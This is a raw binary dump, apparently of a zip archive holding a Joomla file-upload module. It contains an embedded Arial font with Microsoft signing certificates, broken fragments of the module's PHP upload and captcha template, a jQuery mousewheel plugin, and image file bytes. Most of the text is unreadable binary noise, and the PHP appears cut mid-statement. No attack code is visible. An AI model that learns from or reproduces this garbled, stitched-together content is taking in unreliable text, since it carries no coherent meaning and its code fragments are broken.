{fz&yz,zjz&{z2[zryzyzly~ƈ8yy~Ɔyz~̄}({2zL>yl{zz~؅,[zD|~؈J}.z}4~؅,[zP|~؈V[z\|~؇r{~f*y|nNz(z}:~؈b{zy~؇{zhy~؇yP~؈Vy}}@~؈n}F[tyP~؈ny}zyP~؈y}N}L}R}L}R…}RȈ}XΈ}.[[y[Dy[yrzԄzzԄz{z.}^>{z}d{zP}dzڄ}jzp[ڈ,}pzpzڈ}v|zڈ}v|zڈ}jzp}z:[ڈyzyn[Ԉyzyn[Ԉyzyn[ԇ*[By8[B\y8L[B\y8{ށ.{*{}|{}{n[}y{~.{*zb{~.{*zb{~z|zz~Ƅz|zyV~Ɖ } zyV~ƈ} z[|z:}n}|}>~~J~~H[yzf*y{ |b|Ԃ8R|Ԃ8R~ĉ~ʉ~z~$Љ~*։yz~؄~0V[,[D~6܅&y~؅ yz&y{2yPy&[8y&>~<>[,\y2b[Dz~B~H~N~T~Z~`>[8~f ~l y~؊yz8y{ y8y~؅8y}yy8[8y&[,|ny\Zy8$y$[Dy~y V[8[|VҊ*|JҊ0[6y|n~rzp<|ny\Zy8~xB~yPzyh~~|ȊNy\~~$Tytyy|nD~*Z~0`y\~Ƅy&>y\~y>t~Nryz~؄y}Jyz~؄yV~Ƅy\~ƈP~6~<~rBf~HlttzzBXZ^ac!fp$v|/6CP ) 0T \ _  c2$=D]b4TUWYZ_aqw}*jm $%#%XZ[e !      + G O i       p      # * * - -Tj HHHHHHHHHHHHHHHHHHHHHHII IIII"I(I.CCJJ,,88::??BCHHMMUUWZ __ bchhmmuuwz$$ HlbHlHrHxH~HHHHHHHHHHHHHHHHHHHHHHIIIIII I&I,I2I8I>IDIJIPIIIVI\IbIhInItIzIIIIIIIIIIIIIIIIIIIIIIJJJJIIIJ IJ IIIIIIIIIIIIIIIII$=D]in4pw:yBKMNOPQ#%R''U++V-.W00Y66Z::[<<\GH][\_^^a "HHHHH][D]Y:\[J][8][P][V]Y4\[\\.Yp\4Y"[Y4\Y^[Y4\YR[[ \ Y"[Y4\Y^[Y4\Yv[Z]ZYF\"[b][8][>]Y^[Y4\[h]Z \YX[Y4\YR[Y4\YR[Y4\YR[Y4\YR[Y4\Yj\Y(\Yj\Y(\Y^[Y4\Y^[Y4\YX[YL\(YX[YL\(YX[Y4\YX[Y4\Y[Y(\Z]Z[n]YX[Y\[t][z][^Y[Y.\ YR[Y4\Y[Y4\Y^[Y4\YR[Y.\ Y4\Y4\Y4\Y4\Y.\ Y.\ Y4\Y4\Y4\Z*\Z0\Z0\Z6\Z<\Y(\Y4\Y4\ZB\ZH]ZN]Y4\Y4\Y4\YF\"YF\"YF\"ZT] ZZ]YF\"Z`]Y:\Y:\Y:\Y4\Y4\Zf]Y4\Zl]$Zr]*Zx]0YL\(YL\(YL\(YL\(YL\(YL\(YL\(Z~]6Z~]6Y.\ YF\"Z]Y^DY^J[^PY^DY4^VY.^\YF^b[^hY4^VY^JYL^nY^DY.^\[^Y4^VYF^bY4^VY^DY^JY4^VY(^tY.^\[^z 1 3 &$=D]b4TUWYZ_aqw}*jm$%_a !  B       p    (  #) * *0 - -1 ; H;F;L;R;X;^;d;4;j;p;v;|;p;;j; ;;;;;;;:;;|;;;;;;;;;(;;;;;;;;9;;;;;;;<<< ;";";";(;.;4;4;4;:;;:;.;4;";4;";@;;:;(Y $=D]yz4}69:;=>@DX^ ;(";(;.;4;:;@;F;L;R;:;X;^;d;j;p;v;|;;;;;;;;;;;;;;;;j;j;d$$&&((**,,./1258 DD FFHHJJLLNOQRUXttvv~~!x~ N2NANNNCNN:DNNOONO NOO:`OAOO$CrO*NO0CT;,ABO6O<:OBO<:;;CTOHON:CrA;OTNC4lOZNNO`NONONNNNNNOxAAAAD\B:O~;CTCTCTCTCT;;;;:OfNOCTP NNNOO4lCrNNNNNOlOr:O NNNOOOON:OCrO*OZNDCr4lCONO6:OONCTNCT:NNOON;,NOONAN:N:N:O;O;NCTO:OOOCrOO:`AO;O;O*OZO*OZO*OONNNCTNCTNANANANO6NO6OO6N;N;OO~O~O~:O~OODOB@NOCxPDNPJPPPV:NO<:;P\OPbNPhPnCOPtOCrPPzP:`APPOO<4lO*OZPPCT:`POHRxR~RRRRRRR:HRHONRNO6NOSDSJSP:HSVS\SbS2NCAONNADOBShSnO:Cr4lSN:NO ONAStSze&$=D]b4TUWYZ_aqw}*jm$%_a !  B       p    (  #) * *0 - -1hp 3~3~3z3z33333h3h3333333332323333333332323333333\3\3333_`EGIKMQSZ ]]  >AD>AJ2>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>???>?>?>?>?>?>?>?>?>?>?>?? ?>?>?>?>?>?>?>?>???>???>?>?>?>?>?>?>?>?>?>?>?>?>?>?>???>?>?>?>?>?>?>?>??"??(??.?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>??4?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>??:??@?????>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>??:??@??:??@??:??@??:??@??:??@?>?>?>?>?????????????????????>?>?>?>?>?>?>?>?>?>?>?>?>?>??F?>?>??L??R?>??R?>?>?>?>?>??X??R?>??^?>??.?>?>??d??j?>?>?>?>?>?>??p?>?>?>??v??|???>?>?>?>?????>?>?>?>???>???>?>?>?>?>?>?????>?@?@?@?@?>?@?@?@?@?>?>?>?>?>?>?>?>?>?>?>?>?>?>?@0?>?@?@?@?>?>?@???>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?@0?@?>?>?@?@?@?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>???????????>?>?>???????>?>?>?>?>?>?????>???>?>?>?>?>???>?????@?>?>?>?>?>?>?>?@?@?>?>?@ ?>?@?>?>?>?@?@?>?>?>?@$?>?@*?@0?@0?>?>?>?>?>?@6?????@?@H?>?>?>?@N?@T?@Z?@`?@f?@l?@r?@x?@~?@?@?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?>?\?>?>?@?@?@?@?@?@?@?@?>?>?>?>?>?>?>?@?>?>?>?>?>?>?>?>?>?>?>?>????^?@?>?>?>?@?@?>?>?>?A?>?>?>?>?>?>?>?A?>?>?>?>?>?>?>?????A?>?>?>?>?@0?A?>?>?A?>?>?>?>?A ?>?>?>?>?>?A,?>?>?>?>?>?>?>?>?A&? &$=D]b4TUWYZ_aqw}*jm$%_a !  B       p    (  #) * *0 - -1 @///////////0/0 0 0/00000"0 0 0(0.040:/0@0F0.0L0L0L0L0L0L0L0L0L0L0L0L0L0R0X0X0X0^0d00j0p0:0:0v0v0v0v0v0v0v0|@//////|||/////////////|/////X//,,///,,,,/////,,|////////,,///////ttzzBRXXz| - ) +1 0 04 5 6 8  9  ?ttzzBRXXz| - ) +1 0 04 5 6 8  9  ?j +,,,,,--,J-- ------"-(-(- - -.- -4,---:-@-@,,J,J,J-:'''''''''+,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,TWZ^ac fp vy , /" & (  )  *TWZ^ac fp vy , /" & (  )  * "M*"""*"`****""+*"*"+"+ +""*"+"***+""+*+*++++***"""*+$***""+""++ +"*"+""`""+*"*"*"+*""#wwC D E!   6 6 8>   &'v'| & , 2 V V 8 > D J P   R'$^$^'$^$^$^$^$^'$^$^$^$^$^$^'M'T'%'%8'%'l'&'$0'l'l'&'2'%8''Z'l''`'&'%'l'&''f'&'2'2''l'%8''`''r('x('x('x(&'%8(J%8(J'Z''Z''`('`(\'`(\'`(\'T''T''T'%'%8(,%'l''(2%'l(>'B(D2'%8''''`(%'l''f'&'2''l'%8''`(\'r(b'(82(&'(P'(V%'l'T('~('(&''''(&''(  uu Z ] _ ` d d f g i i o o r s v w#wwC D E v& &&&&&&&&&&"n&"n"n"n"n&"n"n###"n'#M%@%@##$&@#XX###"X$X%X##&T$n#$X&%L%j&###X%X%X$$$&&%X#%L#%^p#%d#%d#%d##&T%&T%#$#$%L@%L&%L&%L&%@%@%@%@%@%@##$#@#X%X&T%&#X&&%.&T#$#$#$%L%j##X%@%R$%R@%X#%L&%^p#%&%&$##XX@%p&%j%p@$%R#X%p@&$%|%p   Y Y ^ ^ c c j n q q    #wwC D EXPn"<"(""u   Z ] _ ` d d f g i i o o r s v v    Z ] _ ` d d f g i i o o r s v v ww% Z ] _ ` d d f g i i o o r s v v ww% Z ] _ ` d d f g i i o o r s v v P#<#(##   Y Y ^ ^ c c j n q q      Y Y ^ ^ c c j n q q     ww%  ww% Y Y ^ ^ c c j n q q P$<$($$ Z ] _ ` d d f g i i o o r s v v   u  uww%uww%uP%<%(%%   Y Y ^ ^ c c j n q q          Y Y ^ ^ c c j n q q ww%  ww% Y Y ^ ^ c c j n q q  bbbMZZ*`fl`rZlZZxZZlZZZfZ~~rZZ~~ZZZZZZZZZZ*`fZZZxZZZfZ~rZZ~~~Z~ZfrZxZ~Z a a p p u u#wwC D E nMRRRRht e h#wwC D E M $*06<BHN00TZH`fffr**xxHHHH ~~*x<HN0ZH`rN0HHTH`l b t#wwC D E$&2&&tnl&dV&@:@&0*&& b t                                                  & '''''''x'd'P'<'('' Y Y ^ ^ j l j j b ^ ^ b j k("( k l    M         $  * 0 0  6 0 < B  H H  * N T $ $ $ l $ $ $ $          *  6  r  x  $     <  ~ Z r  $ $  $  Z Z Z 0 ` Z ` fu#wwC D ET r "(. 4:@M P    H  ""  P (( . H 4 J  , l  l l   Y Y ^ ^ c c j n q q   #wwC D E F 0 6 < 6 6 B H B N < 0 T T ZM ~ & , 2 8 > D D J P ~ ~ ~ J J ~ ~ D & 2 2 & V \ ~ D D D ~ P P ~ ~ \ \ \ \ ~ ~ ~ & , 2 8 n D J P ~ ~ J ~ D & 2 & V \ ~ 8 & & D ~ x b h ~  Z ] _ ` d d f g i i o o r s v v #wwC D ET r "(.4LRX^djpLv:@@v2~M&,88>>8JPD>&V,V\V>>>nhhVVVV&,88>8hJD>&,V\V8&J&>brb   Y Y ^ ^ c c j n q q   #wwC D E b tp Y Y ^ ^ j l  l8 kTX~" .L^(J(pJp(~((((e((lxR,j!TrY2lllYFlTj>4p  DDD*+DIIv: ? ,w[zNMmX z JzR#,&/&6&&&]5&&s&f&&&^n&&R ;(,(((,(q((^(((VV V:0&&0&H HH f* gX+EN&+&:&&&&&& f&?&X&&&&2Lnkufn*nnt s8nnVnnj) zg3_79fH Xl0D\&&wEZdRx izpRi2uzih[V9[RX& &R&&K XR&k(xLpXL0,l^xn`d<4hF,DLR  |p2j2    J-&/6&?/ J&L80a"&Xl&&&&X^,^^X,,dXXXX,,X,XX^8????,,,TT,d,8pQ~6  u[ZZZ,Z,,,,pj&pXZ^j^8jXZ&ZZZ^ZZwZwwjZ ^ ^ >>,  Z, F     ^0,d |&8C v q n XX XXd   h?b-^"d ?X?(J D& ?XROUXD&, ?R|O:JlTT TL OOO -8B@:B G8JK~j.jtQ~K\\   niZj`t:ll@r:m|CXXV44494944s444444444U44444444?444@4z4t44 4 44W4 44[44 44.4444 44x4444n44l4S4?4f4U4444`4(4T4\4@4k4.4;44@4 44o444J444844 4 4d4444+4F4~4444t4z4444I444444X44044[[|aVlll9l9llslllllV9l9llsUllllllll?lll@lzltll l llWl ll[ll ll.llll llxllllnllllSl?lflUllll`l(lTl\l@lkl.l;ll@l llolllJlll8ll  ldllll+l lFl~lllltlzllllIlll4llXll0ll[ULMMqMMMM9MUMMMUMMMMuM*MVMMMMjMMnMMMMM=M:MMMMyMMjMMyMMMMMMMMM4p" Xpx\pDpl*ll7l@bXllX5)lrlll T +l/lDlNHl\l&Tl{l'l' l|lDll?&9,XE@zN  ^RkD?TI|D|l|c|vlSll?lDlqDDWl\\l||l>lJl<lpl\h4l|&lblxx&qxR89 :fx0F.Dw9!~w- 8uL@@x@@@qxxLxxxx@&xxdx-x?$ UxxuxxxFxxxxxx)X8VfLU@xUGxxxx:+xt)7((F6sd YV3)G@g Fl3''S:''' 'TE'''g8@@lx@F@ Z@ 4r .:@P@@@@X se@@7@K@G2@bbcx rs> t\^<>s'8r' hN6lPq9"XR  v0&D &xf?^ 3,'(\l:DLR ?Rq^g& EK? 0"Xp|pNIND0YTHHR+J 1$:+$>&>5>0>>>>+> p>>II>>:>>>>>>5>>b>>l>>plW\>>>J>^>>>>hv>cp6>v>>>g>>>r4T@U'zSdrvv^vl$$0$v$ 9:fF0 fD*.xD>H9H `vN`l`M4+ arab cyrlTgrek^hebrjlatnx URD     LTH ccmpccmpccmpccmpccmpccmpdligfinafinainitinitisolisolligaligaloclloclmedimedirligrlig          $,4<DLT\dlt|~$ N        F h"LM::ttzzBRXXz| - ) +1 0 04 5 6 8  9  ?j"4FX:BJRZbjrz :BJRZbhpx :BJRZbhpx  :BJRZbhpx     % !"#$:BJRZbhpx &'()*+,-./0123456789:;<=>?@A n&0:DNX CQ CQ CR CR EQ EQ ER ER $.8BLV`jt~ CQ CQ CR CR EQ EQ ER ER GC GC GE GE $.8BLV`jt~ CQ CQ CR CR EQ EQ ER ER GC GC GE GE..## 4tn&0:DGHIJK $GHIJK8BLV`jt~  *4>H     &.6< 0@ # ? @      !\(+.26(,=?ACDFIJNRVZ^bgkosw{~  !"$&(*,.0358;?AC\`es        # & ( * , 1 5 9 < @ E I M P T X \ ` d l''++--1155      !"#$%&'()*((+,,,<<->>.@@/BB0DD1FF2HH3JJ4NN5RR6VV7ZZ8^^9bb:ff;jj<nn=rr>vv?zz@~~ABCDEFGHIJKLMNOPQRSTUVWXY[\]^_`abcdefghijklmn  opqrstu"v$$z&&{((|**},,~..00224488::>>@@BB\\``ddrr               " " & & ( ( * * , , 0 0 4 4 8 8 < < @ @ D D H H L L P P T T X X \ \ ` ` d d l ls!)04))+LPTX\`dhlptx|+  L"l6T"^bg       $ . 3 7 ; ? C G K O R V Z ^ b f nr''--1155     ((,,HH JJ!NN"RR#VV$ZZ%^^&bb'ff(jj)nn*rr+vv,zz-./012345789:;<=>?@ABCDEFGHIJ  KLMNOPQ44R::S>>T\\U``VddWrrX Y  Z  [ \  ]  ^  _  `  a " "b , ,c 0 0d 4 4e 8 8f < <g @ @h D Di H Hj L Lk P Pl T Tm X Xn \ \o ` `p d dq l lrs!)/3))*LPTX\`dhlptx|*  L!k6T!^bf       $ . 2 6 : > B F J N R V Z ^ b f nr''--1155     ((,,HH JJ!NN"RR#VV$ZZ%^^&bb'ff(jj)nn*rr+vv,zz-./012345789:;<=>?@ABCDEFGHIJ  KLMNOPQ44R::S>>T\\U``VddWrrX Y  Z  [ \  ]  ^  _  `  a " "b , ,c 0 0d 4 4e 8 8f < <g @ @h D Di H Hj L Lk P Pl T Tm X Xn \ \o ` `p d dq l lr ^$*06<=x?zA|C$*06<=y?{A}C~     f f J &4      LM::J",6@ warab ghium0i *H Z0V1 0 +0a +7S0Q0, +7<<<Obsolete>>>0!0 +g*쟮񂠂:00<<>c@0  *H 0p1+0)U "Copyright (c) 1997 Microsoft Corp.10U Microsoft Corporation1!0UMicrosoft Root Authority0 970110070000Z 201231070000Z0p1+0)U "Copyright (c) 1997 Microsoft Corp.10U Microsoft Corporation1!0UMicrosoft Root Authority0"0  *H 0 p;N(x^0ꢩ%_L >|Q`2kBdyvT뜆fkzb#<Ŀ-fh&:, X&F >8,(9IBlUa|`-wL陴d;P1$+=c`Xe7RӿUE:TNzmtN̖ (!W`i7Kc@0  *H  5$w\`2 >:!W,Gb;;Z6Ti$m?̪|1=pjOiCZ Ob{+7%-e%cT!RnC2gl QRǽ0 1 )M[WeIRT(~ū7,zwvj?6A5jj5EZ38nM b T?FUp:uҠ0`0L .P\0 +0p1+0)U "Copyright (c) 1997 Microsoft Corp.10U Microsoft Corporation1!0UMicrosoft Root Authority0 070822223102Z 120825070000Z0y1 0 UUS10U Washington10URedmond10U Microsoft Corporation1#0!UMicrosoft Code Signing PCA0"0  *H 0 y}]E941%5IwEqFԌkLRbMIl/$>e# HuEP%+ #A$bEJͳ/"J-|o;99ݽ)f;-2'Hlc\򸔣8P'N0==l9.4. }bxfs Oc,2EJ;PSfQyV>Pn5{$Rf=N+~3nGўJnS00U% 0 +0U0[pir#Q~Mˡr0p1+0)U "Copyright (c) 1997 Microsoft Corp.10U Microsoft Corporation1!0UMicrosoft Root Authority<<>c@0U00Uvp[NQD.Dc0 U0 +{~J&μNtX't*uLxMi|CʇSŸVocDDȚ  )}s9=j8m҈#i 4|.)Bk(q8 ]hͽAkf4|zB{ p֒O8|-=4 b7j#\cZ9`U3; _,˫ 0  *RA^0(ip΀Brv0z0b a'0  *H 0y1 0 UUS10U Washington10URedmond10U Microsoft Corporation1#0!UMicrosoft Code Signing PCA0 081022212455Z 100122213455Z01 0 UUS10U Washington10URedmond10U Microsoft Corporation1 0 U MOPR10UMicrosoft Corporation0"0  *H 0 rt`\6=z)F"SF:[ WLwGpgt'g׊D0ɺ:VDO h$WN!7,/B!(Wz)6͞U̻"# )Z>c=,I {yqCZ㣳 U% ^3-(WUj 2Dflo8ݘ<iyNF์um-BQZxE.|+]a(C jB2)"00U% 0 +0U#s*L!qĦ0U0U#0vp[NQD.Dc0DU=0;09753http://crl.microsoft.com/pki/crl/products/CSPCA.crl0H+<0:08+0,http://www.microsoft.com/pki/certs/CSPCA.crt0  *H C)clsmÙm ;Hsz%,7{4#ξ\ykQ cr}Q*(* q)V /e-mME)VrO?jAby\w(.ǜ+* z^S`Owq`[9ӫEQt#'5—`'+ˎς רMC@uw\kdgT!EJhT^\gx\$ prpŸ00 aGR0  *H 0y1 0 UUS10U Washington10URedmond10U Microsoft Corporation1#0!UMicrosoft Timestamping PCA0 060916015300Z 110916020300Z01 0 UUS10U Washington10URedmond10U Microsoft Corporation1'0%U nCipher DSE ESN:D8A9-CFCC-579C1'0%UMicrosoft Timestamping Service0"0  *H 0 m܆Q2;7:%oaA;ZxgU~AS(Tp;'H~C2/&Jvwɩ!X~ $D5:T 3,~A ٰ%%ӎmI ÇnFmSF?$~|,y(EO6kSQ ۼʇ 2JQ|,jsrW؛K'3m2hn:."C dɣTx)>Xߪܮeӝg00UOxY |"0U#0oN?4K;AC0DU=0;09753http://crl.microsoft.com/pki/crl/products/tspca.crl0H+<0:08+0,http://www.microsoft.com/pki/certs/tspca.crt0U% 0 +0U0  *H 7'@e&>dĐ>WC @g*ܴ6 3|._P{a1ބiX|'Ep_W^;C?aq}{nZ0 5%aN2t+zrK+:T`ا٩mDk c 2N~7_gFKm}ҾntipKe5D}9nP!>wšWi}io*"73:r0P:ŷ\ͳ00j O%EXzg0  *H 0p1+0)U "Copyright (c) 1997 Microsoft Corp.10U Microsoft Corporation1!0UMicrosoft Root Authority0 060916010447Z 190915070000Z0y1 0 UUS10U Washington10URedmond10U Microsoft Corporation1#0!UMicrosoft Timestamping PCA0"0  *H 0 7nBJqH>S,2ORȃ>3I1(dPKuǨծipfx'f趷 Y")/@VvmdmJT޿ǀL7VhGv\/}%V[jc|<%M9wt]\؆7,u9 |vlnz>q_*Ob`2҃N+"\hE/Pl%ׅvs6ƕz`3[AXn,HoCj&k(0$0U% 0 +0U0[pir#Q~Mˡr0p1+0)U "Copyright (c) 1997 Microsoft Corp.10U Microsoft Corporation1!0UMicrosoft Root Authority<<>c@0 +70UoN?4K;AC0 +7  SubCA0 U0U00  *H M1|PapEsT? -QS9V ތ;ɷQ!oi~k"Flm|"Fӄ6~p]Eݎ*|ɮ2Շc6!v;s!شTeJ(&`;exHϭ:ObX099!dcC/{FeJtn ̝(a|H!8Ŗ2@S=f7"̰wTQ:rD#1000y1 0 UUS10U Washington10URedmond10U Microsoft Corporation1#0!UMicrosoft Code Signing PCA a'0 +0 +7(10 *H  1  +70 +7 10  +70# *H  1fIqLv[==0V +7 1H0FArial Regular&$http://www.microsoft.com/typography 0  *H $(m HoWю"aI p&_}]; #PuJ-T1m2Bd;[+ċ2@ @,iA@)Oy <*y%K2PzJRD&KvbR4iK.˝$*^vo92;5'ne{L^Oo"'aNȟ ϮȾ vYqI)0bz0 *H  1 000y1 0 UUS10U Washington10URedmond10U Microsoft Corporation1#0!UMicrosoft Timestamping PCA aGR0+]0 *H  1  *H 0 *H  1 090120231951Z0# *H  1]y u[`Xg4l0  *H s~TvI}ĶE4a2SKRqCy'ؑ] j22-YAq6fbH\_6.>8h(] E ihG9zg{yE  0) { if ((strlen($upload_redirect) > 0) && ($_SESSION["uploaderr$mid"] != 1)) { header('Location: '.$upload_redirect); exit(); } } } // Make sure jQuery is loaded! JHtml::_('jquery.framework'); JHtml::stylesheet( JURI::root().$sfu_basepath."mod_simplefileupload.css" ); JHtml::stylesheet( JURI::root().$sfu_basepath."tmpl/fancybox/jquery.fancybox-1.3.4.css" ); if ($upload_jquery == 1) { //if ($upload_jqueryinclude == 0) { // JHtml::script( $sfu_basepath."tmpl/fancybox/jquery.mousewheel-3.0.4.pack.js" ); // JHtml::script( $sfu_basepath."tmpl/fancybox/jquery.fancybox-1.3.4.js" ); //} else { echo ''; echo ''; //} } JHtml::script( JURI::root().$sfu_basepath."tmpl/md5-min.js" ); if ($upload_users == "true") { ?>
    0) { ?>
    [ + ]
    0) $ispostfix = $is; else $ispostfix = ""; ?>
     
    Refresh Captcha
    1) { ?> 0)) { ?>
    "; } ?>
    ".$f."
    " . $results . ""; $results = ""; } else { ?>

    " . JText::_('NOT_ALLOWED_USER') . ""; } ?>PKQB\#o,,tmpl/index.htmlnuW+APKQB\̚++tmpl/fancybox/blank.gifnuW+AGIF89a!,D;PKQB\Uoo tmpl/fancybox/fancy_shadow_s.pngnuW+APNG  IHDRLW6IDATE 0a!o r.?۲k; f7xn[gpKUvduIENDB`PKQB\``"tmpl/fancybox/fancy_title_main.pngnuW+APNG  IHDR yڑ'IDATc``g`en&Le`b`pg`WVYSIENDB`PKQB\`o#-tmpl/fancybox/jquery.mousewheel-3.0.4.pack.jsnuW+A/*! Copyright (c) 2010 Brandon Aaron (http://brandonaaron.net) * Licensed under the MIT License (LICENSE.txt). * * Thanks to: http://adomas.org/javascript-mouse-wheel/ for some pointers. * Thanks to: Mathias Bank(http://www.mathias-bank.de) for a scope bug fix. * Thanks to: Seamus Leahy for adding deltaX and deltaY * * Version: 3.0.4 * * Requires: 1.2.2+ */ (function(d){function g(a){var b=a||window.event,i=[].slice.call(arguments,1),c=0,h=0,e=0;a=d.event.fix(b);a.type="mousewheel";if(a.wheelDelta)c=a.wheelDelta/120;if(a.detail)c=-a.detail/3;e=c;if(b.axis!==undefined&&b.axis===b.HORIZONTAL_AXIS){e=0;h=-1*c}if(b.wheelDeltaY!==undefined)e=b.wheelDeltaY/120;if(b.wheelDeltaX!==undefined)h=-1*b.wheelDeltaX/120;i.unshift(a,c,h,e);return d.event.handle.apply(this,i)}var f=["DOMMouseScroll","mousewheel"];d.event.special.mousewheel={setup:function(){if(this.addEventListener)for(var a= f.length;a;)this.addEventListener(f[--a],g,false);else this.onmousewheel=g},teardown:function(){if(this.removeEventListener)for(var a=f.length;a;)this.removeEventListener(f[--a],g,false);else this.onmousewheel=null}};d.fn.extend({mousewheel:function(a){return a?this.bind("mousewheel",a):this.trigger("mousewheel")},unmousewheel:function(a){return this.unbind("mousewheel",a)}})})(jQuery);PKQB\gܦ tmpl/fancybox/fancy_nav_left.pngnuW+APNG  IHDR;0mIDATHǭWkHWĘKmk58/sJQ69"jU N Nl17M:tsb[֭ CVjŘ=ox?јہ9罝yx<^ɒSNyjikk;wO9yk7Z$$'N+n߾ܬ<~֭ODG644D-4?ZkůKIIVVS322}M<ʮmoo?Y__fxxü興 ހu$,&&& ???Nleeź`*11Q(']S>+W?Z '݁iͰ2fѸòOqK{\.$N.ʎ=υ-R444d޴'G\\X)b\\ǫZZZ.X,EZk:WHiK w^R$̱p~!!!ʊs"Zݻfҁwc\"!O^o7]NMMY缽uۤktt+zAjbG(>7?? wuu#MJJ/..ڂ~ɔh~uu0>__V`0pjj0Ro"VlHǘ ==844Ts666XglV[[[6OzRZZ9 XRƒ8oPN- hΠ֐ >ap'lĸP:OSJBq&--,ŷ{199i$FLK$*tJB CN52Ba 0?_#*uENu/?ѿ$ۛZ߲ܳ6|sYi'4}eK'T*58Oh^[T)**2r\ ı7\U^^^iAAA%Hn!zIg8r4`H/ "9D.ɗ(}}Fd# tۗL H5kA|zzTPP`tw ?0\%{%{-եA^}A! D&£GLBp XnkkKPFXkqCK;9NH+' =GCdG/HC`gJ$MUF~/nAاWymrcH6Eu  +D>o|!///##Cw^^lkk w͑ Ϻ[~HI(mIIIN\v-E_WWի̌pB4~?D:+HV$#\~p]ӧOX։7fō;wFGGlkSr BvݼyR'O8/_Ҵj6e4V|Qȧc bZ+<1nSGGl6f}Z%v.o,u2tm{ll쪔Pd]=X<9ꔔ]kkkn_"~\._ٌT^ti] -j1d9\ =}$ʯNB*FOOl ?`.PŹ{Id29k77XѬX\c+65::-l%`# wuuY Ip_SSӺ0o3(:oxOv"xXvFɅ7b)=fbUs.$$$c: aHCqqq z)nkbrȹHlÇDkhh NXGANWv JK ɷ*&%̙3i3Avӗ@1<{rO1'ڬMC}~ȐZr߳M]I rKcccKrGT\ڼ.*3Q + q9ɹrjPV}[VIrlX5#m 29T4y;4Ν0Vmi˔֩\;|vvR^^n]H_#lp|t|ע.79 DԔE(t(\jp,]:#c:;;x/<. PS"5-@ה]|vU=N;-^:xϟm<**jv1Me[^>n=aQ6~-@Ls'X6ucVf\hjn^9; |T ;2mlz~E(BH,;I&x.eCYW>_"(؈(A)YO^P*fq-miIENDB`PKQB\N;;tmpl/fancybox/fancybox.pngnuW+APNG  IHDRF;~IDATx x\eIڦMB@AYdQ+Vd. "XvdS@A@]]AQ%i&=M%]辰y̽OIw{|ycݥM[7GZ #(ԧ>w}뮻կ~Uqg9Z_oH{WZzi[~WLJ+|=|玾;vw '׿>?{9猽v1kK3 ti3%MiDM~_}]wodɒ[?z|Ӗ/_oqG@ysk~,[9vaѣG䳲֙M̜9tslanᆍ /8)?(m{|a_|q_|5t|gXKnNi8`n\>qzrC5eee ^>qRYY>;q e˖}JY $E1VUU?Q_a:9/8]O>I&5Ÿy$t7UĘ@X"tu] aRg>Y]܈{.sw9\pdONΐ-o8^ǡS~/Š,A<_`!8`D/0c>XYoq#]tQd)CećkXW邓Ei>+%l 0?˧Ug5t{TBLc["b}>f>'lf^U-H':sC|9s Z~~;i,S/| =O &ԉq؇݆ki{I=Fnn~Ӽ%AL9` ɵ~8X,tMeShOa2a8ҏƚ dK,w:Y>M²A6>v'x үgz3ffZd&T|t5ރ8F/,$MNQrY&7Zߖsgy#;}xK5q_~32 aTvnH]*s"Y"M^zш3gΜ rz߱{wt" 3yO}29ҭ:Ą\KͺL?|&Q)[J;RX-  c LesMt̐snE-Ҿ{{v`{g6]~m?Oھ7pۺ62s,8pg>󙙇rL&~>FnUT:@1#O;9KhoooMR}/ύ0hqp heN5Ctdh}k_˰P 0sDa[؆>H SĢoC _җ߫jMV"v3{`m$;hƥ[~Œ1O>Q3 +-9gg("tv|8^06Fj`4HkCYگ_l\>wvfxZaWq} ~N\Ï`%ta%vt &'-&i ڴ@[|X N+2`,/VԃTQ:כ}Զ^]Sz" {15lN^FRRefk ccYP_-*\m>̊_ 7j\a2fɞl##F5]˧O "L:25ߏF %Ll+B=eRw!|4p5?!aޤ^(~W7i} 8T[<Β6/ddM;Y-(5poK|7nvT.Ʈ-(42"{0t/fs2^¼F0h(2,oy?{=/vpB7Jca|}AED;M;C" hsi/vSڡ9__C6drSG|:o!818_Wv.1`ā%퐊 ]6n5J; qK;xB!2_7\EP _^&#,EIV|"'b0l0ul|'l~yyzasê:::?K?=t7Ml d^ .E䫰"qkuϮME_qguV1Ds=,>Z{.g?YᏄ@X8o@Zڀo8i#o~󛅢t']aY`)S>*bs^!#t g)ܴ(TxnGq71 kMk's!_ش=WfU8߸L5X 8~)/CBS}2֋-t!E!dn7pi5AFMfT< @-#: v0eg]?яhW\q<2CJe B+5m v.P .s~6\.A78gGrWi{!pnIэQ"|{v!o}AT 8_p3[58-B;d%:5AC`Y݌bs膈#]+CFOll !5ʬr.!~wa!`PWVRV-E;d $a 0ẅ~j! w]¤2̪\֙0fY  DJ+ Elf$!&C87ƊHB>Ťxe> i43r]ہǷoX a )' gCGmӠ2E"s]m]5su8 *\x,o`o6<X13kC.8no9@CPqa|vLLfHnP־ C9_ߴC&^ B; D;2a|~ɪLC9yL&ڡ %\Atvηh@{v;kC!ڡ 